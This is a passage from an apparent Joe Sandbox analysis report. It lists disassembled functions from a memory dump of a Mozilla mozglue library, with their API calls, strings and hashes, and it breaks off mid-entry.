ReleaseSRWLockExclusive.KERNEL32(?,?,6C921BE3,?,?,6C921D96,00000000), ref: 6C921D4C
GetCurrentThreadId.KERNEL32 ref: 6C921DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C921DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C921DDA

Part of subcall function 6C921EF0: GetCurrentThreadId.KERNEL32 ref: 6C921F03
Part of subcall function 6C921EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C921DF2,00000000,00000000), ref: 6C921F0C
Part of subcall function 6C921EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C921F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C921DF4

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

Strings

KpT{/, xrefs: 6C921D83

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID: KpT{/
API String ID: 1880959753-2391877073
Opcode ID: 9d356e0f30ce13e3e7b0b8e924b0135e59446526a5736c2e17fb1176cc8e2c49
Instruction ID: 44ee82991ab78db25ea3a5b8fa50f10448e86833058020da6aa59196a3ca7470
Opcode Fuzzy Hash: 9d356e0f30ce13e3e7b0b8e924b0135e59446526a5736c2e17fb1176cc8e2c49
Instruction Fuzzy Hash: 0D4178B5204700DFCB10CF29C488A56BBF9FB99314F60442EE99A87B41CB35F868CB91

Function 6C8E1640 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C8E1699
VerSetConditionMask.NTDLL ref: 6C8E16CB
VerSetConditionMask.NTDLL ref: 6C8E16D7
VerSetConditionMask.NTDLL ref: 6C8E16DE
VerSetConditionMask.NTDLL ref: 6C8E16E5
VerSetConditionMask.NTDLL ref: 6C8E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C8E16F9

Strings

KpT{/, xrefs: 6C8E164C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID: KpT{/
API String ID: 375572348-2391877073
Opcode ID: 1b45d71445c0905487aad23773dd52fd97881507ba749f8e386340a8413faf1e
Instruction ID: bb6932aec9a9e20acec48afd356ddbce7d03c03db534064f36a42bb34ba1417c
Opcode Fuzzy Hash: 1b45d71445c0905487aad23773dd52fd97881507ba749f8e386340a8413faf1e
Instruction Fuzzy Hash: E921D2B07442086FFB206B648C85FBBB37CEF9AB14F904528F6059B681C679DD548BA1

Function 6C92D1D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C92D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D1F5

Part of subcall function 6C92AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6C92AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D211
GetCurrentThreadId.KERNEL32 ref: 6C92D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D279
free.MOZGLUE(?), ref: 6C92D2B2

Strings

KpT{/, xrefs: 6C92D1DE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID: KpT{/
API String ID: 3049780610-2391877073
Opcode ID: 76f45e58bd513f3fd21b90238acfb670782b0d352c1f351651b076168fe1a76e
Instruction ID: d47669b14b3b24deb3c8ca9cd617a31158348b1ff56f67c60a74d3027623a061
Opcode Fuzzy Hash: 76f45e58bd513f3fd21b90238acfb670782b0d352c1f351651b076168fe1a76e
Instruction Fuzzy Hash: 4E217E71708305DBCB05DF24C488A9EB7B5FF8A324F60452DE55A87740DB34E909CB96

Function 6C8E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C8E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8E3FDC
RtlAllocateHeap.NTDLL ref: 6C8E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C8E3CCC), ref: 6C8E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C8E3CCC), ref: 6C8E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C8E3CCC), ref: 6C8E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C8E3CCC), ref: 6C8E4157

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 08bbf0299e56f9582c55ac830a257fa7d09d8e01d94b2fd0d2d9035b5d1aae3d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: B8A1AFB1A00205CFDB50CF68C980659B7B5FF9D308F2549A9D909AF712D772ED86CBA0

Function 6C8D2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C8F3F47,?,?,?,6C8F3F47,6C8F1A70,?), ref: 6C8D207F
memset.VCRUNTIME140(?,000000E5,6C8F3F47,?,6C8F3F47,6C8F1A70,?), ref: 6C8D20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C8F3F47,6C8F1A70,?), ref: 6C8D211A
EnterCriticalSection.KERNEL32(6C95E744,?,6C8F3F47,6C8F1A70,?), ref: 6C8D2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C8F3F47,6C8F1A70,?), ref: 6C8D21BA
EnterCriticalSection.KERNEL32(6C95E744,?,6C8F3F47,6C8F1A70,?), ref: 6C8D21E0
LeaveCriticalSection.KERNEL32(6C95E744,?,6C8F3F47,6C8F1A70,?), ref: 6C8D2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C8D2253, 6C8D2268
MOZ_CRASH(), xrefs: 6C8D227D

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 09da5df899b2b47d16ef56bca9bad6258d3105872d41599c225daa44a62b36cf
Instruction ID: 69209093dfe255bcaea96de046c67600f197793f9cb2d64727728b4567c135f4
Opcode Fuzzy Hash: 09da5df899b2b47d16ef56bca9bad6258d3105872d41599c225daa44a62b36cf
Instruction Fuzzy Hash: 70610631F042168FCB24CF69CA88B6E77B1AF85318F6A4979E525A7B84D735AC00C781

Function 6C8D48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C91483A,?), ref: 6C8D4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C91483A,?), ref: 6C8D4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C91483A,?), ref: 6C8D4A82

Part of subcall function 6C8ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C8ECAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C91483A,?), ref: 6C8D4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C91483A,?), ref: 6C8D4A35

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C91483A,?), ref: 6C8D4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C91483A,?), ref: 6C8D4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C91483A,?), ref: 6C8D4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C91483A,?), ref: 6C8D4B2C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: f7bf7b8a29d6d81763989ea2bc86acedfd2afc177cdb3b320aacf2151be5dff7
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: AB715BB19007069FCB24CF68C5809AAB7F5FF99308B104A7DD15A9BB51E731F555CB80

Function 6C92DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C92DDCF

Part of subcall function 6C90FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C90FA4B

Part of subcall function 6C9290E0: free.MOZGLUE(?,00000000,?,?,6C92DEDB), ref: 6C9290FF
Part of subcall function 6C9290E0: free.MOZGLUE(?,00000000,?,?,6C92DEDB), ref: 6C929108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C92DE0D
free.MOZGLUE(00000000), ref: 6C92DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C92DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C92DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C92DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C91DEFD,?,6C8E4A68), ref: 6C92DF32

Part of subcall function 6C92DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C92DB86
Part of subcall function 6C92DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C92DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C91DEFD,?,6C8E4A68), ref: 6C92DF65
free.MOZGLUE(?), ref: 6C92DF80

Part of subcall function 6C8F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8F5EDB
Part of subcall function 6C8F5E90: memset.VCRUNTIME140(6C937765,000000E5,55CCCCCC), ref: 6C8F5F27
Part of subcall function 6C8F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8F5FB2

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f520678c265ca445e46d4c258756191cd93ff7f0c31ce08f9622e8764cf0c4d9
Instruction ID: eca63c0667dbc7abf101edc7afe3fc97db1d35c83b79d2a8c57f5e07d835ee06
Opcode Fuzzy Hash: f520678c265ca445e46d4c258756191cd93ff7f0c31ce08f9622e8764cf0c4d9
Instruction Fuzzy Hash: 3251F8736217019BD7209B28D8806EEB376BFA5308F95052CD89A53B04D739F91ACBC2

Function 6C90CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C8D31A7), ref: 6C90CDDD

Strings

<jemalloc>, xrefs: 6C90CF9F, 6C90CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C90CFA4, 6C90CFB8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: c933923ceeb932ebb480200eb35ff148d280cbd9f5bbb08b8df8d1f459695f18
Instruction ID: b5757741ba9ba6cda1af25d6ae350208bdcb6ce7acfc5301149ff364be1b5389
Opcode Fuzzy Hash: c933923ceeb932ebb480200eb35ff148d280cbd9f5bbb08b8df8d1f459695f18
Instruction Fuzzy Hash: 2F3194717442055BEF10AEA98C45BAE7B79AF41B58F70401DFA14ABA80DB71D9108BB2

Function 6C929240 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C929BAE
free.MOZGLUE(?,?), ref: 6C929BC3
free.MOZGLUE(?,?), ref: 6C929BD9

Part of subcall function 6C9293B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9294C8
Part of subcall function 6C9293B0: free.MOZGLUE(6C929281,?), ref: 6C9294DD

Strings

KpT{/, xrefs: 6C929250, 6C929B0C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: KpT{/
API String ID: 956590011-2391877073
Opcode ID: 266831bf0f1ca19c7554c4ff08802e9df1cf8fb1b51347b23298057267069406
Instruction ID: 61239073008ecc76cdb90c669b2a2e830fab7ea79e5292c2d9b5c5a4d668e3f9
Opcode Fuzzy Hash: 266831bf0f1ca19c7554c4ff08802e9df1cf8fb1b51347b23298057267069406
Instruction Fuzzy Hash: 83B1DF70A147448BCB01CF58C88059FF7F5BFD9328B158629E899AB744EB34E946CBD1

Function 6C8E05F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

KpT{/, xrefs: 6C8E0601

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID:
String ID: KpT{/
API String ID: 0-2391877073
Opcode ID: 37bd64eb239e4c68d2c08c1263b670279001bf53aa8988e9b751f596ad9784fb
Instruction ID: 36a54a2f089a4dacb300a11b810c94bbcae30afc204081839500eacb332044b0
Opcode Fuzzy Hash: 37bd64eb239e4c68d2c08c1263b670279001bf53aa8988e9b751f596ad9784fb
Instruction Fuzzy Hash: 20A14970A04715CFDB24CF29CA84A99FBF1BF4A314F548A6ED44A97B00EB31A955CF90

Function 6C9314A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9314E2
GetCurrentThreadId.KERNEL32 ref: 6C931546
InitializeConditionVariable.KERNEL32(?), ref: 6C9315BA
free.MOZGLUE(?), ref: 6C9316B4

Strings

KpT{/, xrefs: 6C9314B2

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID: KpT{/
API String ID: 1909280232-2391877073
Opcode ID: 717739c8bd6316d365414861da4d8b6af04ff839ed11db32186e62a965f312da
Instruction ID: 2accad4c2c7936f9a8d252f5f3d9005d49872f3b4c7cafb800837d662630bbaa
Opcode Fuzzy Hash: 717739c8bd6316d365414861da4d8b6af04ff839ed11db32186e62a965f312da
Instruction Fuzzy Hash: 93610036A047109BDB21CF24C880BEEB7B4BF9A308F44951CED8A57711DB35E949CB91

Function 6C92C160 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C92C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C92C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C92C29E

Strings

KpT{/, xrefs: 6C92C16B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: fgetc$memcpy
String ID: KpT{/
API String ID: 1522623862-2391877073
Opcode ID: 75d7c519368e4242f3de14b2e893165698082db7286b94d4fd8bca63552f2b28
Instruction ID: 933c0e48e8eae9c179a3877a09cd9a40a7f7c296ba15dde3936864698e2efc7a
Opcode Fuzzy Hash: 75d7c519368e4242f3de14b2e893165698082db7286b94d4fd8bca63552f2b28
Instruction Fuzzy Hash: 7261DD71A14218CFDF24DFA8D8809AEBBB5FF49314F154529E882A7B54C735E944CFA0

Function 6C929F40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C929FDB
free.MOZGLUE(?,?), ref: 6C929FF0
free.MOZGLUE(?,?), ref: 6C92A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C92A0BE
free.MOZGLUE(?,?), ref: 6C92A0D5
free.MOZGLUE(?,?), ref: 6C92A0EB

Strings

KpT{/, xrefs: 6C929F4F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: KpT{/
API String ID: 956590011-2391877073
Opcode ID: 907b67694e74bff6a9f89dbe104d77d34a5879eeccd42e7103c0994830ea57a4
Instruction ID: c0ea39fd018f36f2cf8f0777a6715940ec1f9093b658b3f91114f7b1f2ab3dfd
Opcode Fuzzy Hash: 907b67694e74bff6a9f89dbe104d77d34a5879eeccd42e7103c0994830ea57a4
Instruction Fuzzy Hash: F161AF755087019FC711CF18C48059AB7F5FF89368F548669E8A99BB02EB32E986CBC1

Function 6C8E0A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6C93B80C,00000000,?,?,6C8E003B,?), ref: 6C8E0A72

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

moz_xmalloc.MOZGLUE(?,?,6C93B80C,00000000,?,?,6C8E003B,?), ref: 6C8E0AF5
free.MOZGLUE(00000000,?,?,6C93B80C,00000000,?,?,6C8E003B,?), ref: 6C8E0B9F
free.MOZGLUE(?,?,?,6C93B80C,00000000,?,?,6C8E003B,?), ref: 6C8E0BDB
free.MOZGLUE(00000000,?,?,6C93B80C,00000000,?,?,6C8E003B,?), ref: 6C8E0BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6C93B80C,00000000,?,?,6C8E003B,?), ref: 6C8E0C0A

Strings

alloc overflow, xrefs: 6C8E0C05

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: d7c7e2d7ef7fd1febf9659a8caa23a9e19a694a01851d3f71f39a55687f04401
Instruction ID: 27034a4c8dddc300f93c3c65a0af131c05cd9577c4fc008bd4553585d211ca99
Opcode Fuzzy Hash: d7c7e2d7ef7fd1febf9659a8caa23a9e19a694a01851d3f71f39a55687f04401
Instruction Fuzzy Hash: D151C0B0A0424A8FDB24DF58C9C0A6EB3B5FF8A348F154D6DC85A9BA01EB31E545CB51

Function 6C914AD0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6C914AB7,?,6C8D43CF,?,6C8D42D2), ref: 6C914B48
free.MOZGLUE(?,?,?,80000000,?,6C914AB7,?,6C8D43CF,?,6C8D42D2), ref: 6C914B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6C914AB7,?,6C8D43CF,?,6C8D42D2), ref: 6C914B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C914AB7,?,6C8D43CF,?,6C8D42D2), ref: 6C914BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6C914AB7,?,6C8D43CF,?,6C8D42D2), ref: 6C914BEE

Strings

KpT{/, xrefs: 6C914BDC
pid:, xrefs: 6C914BE8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: KpT{/$pid:
API String ID: 1916652239-1668232988
Opcode ID: 48b1f4b22744798f275eec1d8d15ec6f25de75057a5caa1c0a34d0aa122ef85e
